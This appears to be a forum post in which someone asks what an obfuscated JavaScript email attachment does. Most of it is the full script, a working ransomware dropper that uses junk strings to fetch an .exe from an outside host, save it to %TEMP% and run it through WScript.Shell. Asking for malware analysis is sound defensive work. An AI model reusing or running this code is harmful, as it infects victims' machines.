There is a closed question on StackOverflow with a similar code excerpt but it is closed due to not being a programming related question so I thought I would ask here instead.
It was emailed in a Zip file but opening in Notepad++ the JS file can be read and (presumably?) not executed. There are also plenty of results on Google when searching for a subset of the code which link to https://www.hybrid-analysis.com stating that it is RansomWare, but is it possible to explain what this code actually does?
The sequences of seemingly random words seem to be there in an effort to avoid the code being detected as similar to known signatures of malware, and the strings are then manipulated to form code which is then executed?
iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("dingle","adornment","n")+"hh"+("precipitous","astounding","peruse","devon","lH")+"CNAl", "A"+"iR"+"Nh"+("dover","ambiguous","diocese","cD")+"nBHy", "E"+"xpan"+("disable","foamy","titled","mandate","dEnviron")+"me"+"nt"+"Stri"+("river","polyphonic","ngs"), ("flower","centered","gently","petiole","")+"%"+("spirituality","unabashed","TE")+"MP%", ""+("interaction","career","perception",".")+"exe", ("wives","electrical","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("regarded","crossroads","vi")+("botanist","expense","explains","manatarms","nc")+"enti"+"ve"+"eXincentiv"+("excruciating","futures","concepts","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("vaccination","metres","twill","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("writing","tiffany","S"), "AmvHaUzPHrP", ("humdrum","cavernous","suave","beryl","h")+"in"+"ce"+("vespers","bountiful","gripe","nt")+"iv"+"ee"+("terrier","echoing","education","li")+"nc"+("tranny","basilica","en")+"ti"+("cooperate","festive","modem","gains","vel"), "UJcMlBfkOA", "G"+("centers","aqueduct","plugins","rRAF")+"Ka"+("creased","storing","twine","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("enthusiast","pounce","iniquitous","Xi")+"nc"+"en"+("optical","migration","disks","marche","ti")+"ve"+("describe","impaired","israeli","ML")+"in"+"ce"+("sorts","fabled","nt")+("usurped","federal","iv")+"e2" + "."+"in"+"ce"+("decoy","lobby","brazilian","supervisors","nt")+("rancorous","pierce","terror","iv")+"eXMi"+"ncenti"+("stretcher","depict","sheer","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
AapDxox = "IdauNqhuT";
societies = (("notoriety", "linguist", "HiLPFi", "ventures", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction();
theoriess = (("inalienable", "cognizance", "ziHwqRxJu", "dozen", "sSBVEfa") + "xEqzqkRRVx").contradistinction();
fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } ";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
KcjXPEtu = "} return matched; };";
revealede = (("underlying", "scrip", "eYyeHhl", "angular", "EbYlGrsShJg") + "qWuYEw").contradistinction();
function undeveloped(poseidon, economic) {
try {
var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); ";
zBqJutIT["o" + societies + revealede + "n"](("aviation","unreliable","nutrition","published","G") + revealede + ("mouth","consensus","agents","pricing","T"), poseidon, false);
QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];";
zBqJutIT[theoriess + ("republicans","aggrandizement","e") + (("educated", "hybrid", "vQJtIpP", "enact", "torpor", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("lingo", "caitiff", "CEdBvsmD", "dealtime", "vbulletin", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()]();
wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; ";
if (zBqJutIT.status == 200) {
var PbOLTH = new lrAXrUK((""+("slang","biology","A")+"pO"+("intimate","dramatist","easterly","encouraging","DB.") + ""+"S"+("sheila","premises","fatherless","tr")+"eam").replace("p", "D"));
PbOLTH.open();
RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );";
PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;";
PbOLTH[("sonnet","heath","dried","mains","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("capsule","begin","enlargement","heracles","pon") + theoriess + "e"+"Bo"+("laconically","discovery","dy")]);
eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );";
PbOLTH[(societies + "o"+"Di"+("unpopular","anarchist","remix","tying","ti")+"on").replace("D", theoriess)] = 0;
rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );";
PbOLTH["sav"+"eT"+"oF"+("silhouette","participate","eligible","employed","ile")](jersey, 2);
JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); ";
PbOLTH.close();
ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); ";
OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); ";
}
} catch (HiQurqnDJ) { };
hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;";
}
undeveloped(("craven","surgical","motels","h")+"tt"+"p://"+"soft"+"le"+"ns"+"ja"+("grandchildren","probabilities","nudity","normal","ka")+"rta.co"+"m/"+"sy"+"stem"+("dorset","portal","advertise","substantial","/l")+("mango","thrush","productive","ogs/98")+("flush","cyclone","h7")+("johnson","studying","b66gb.")+"exe","yROdkAds");
NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };";
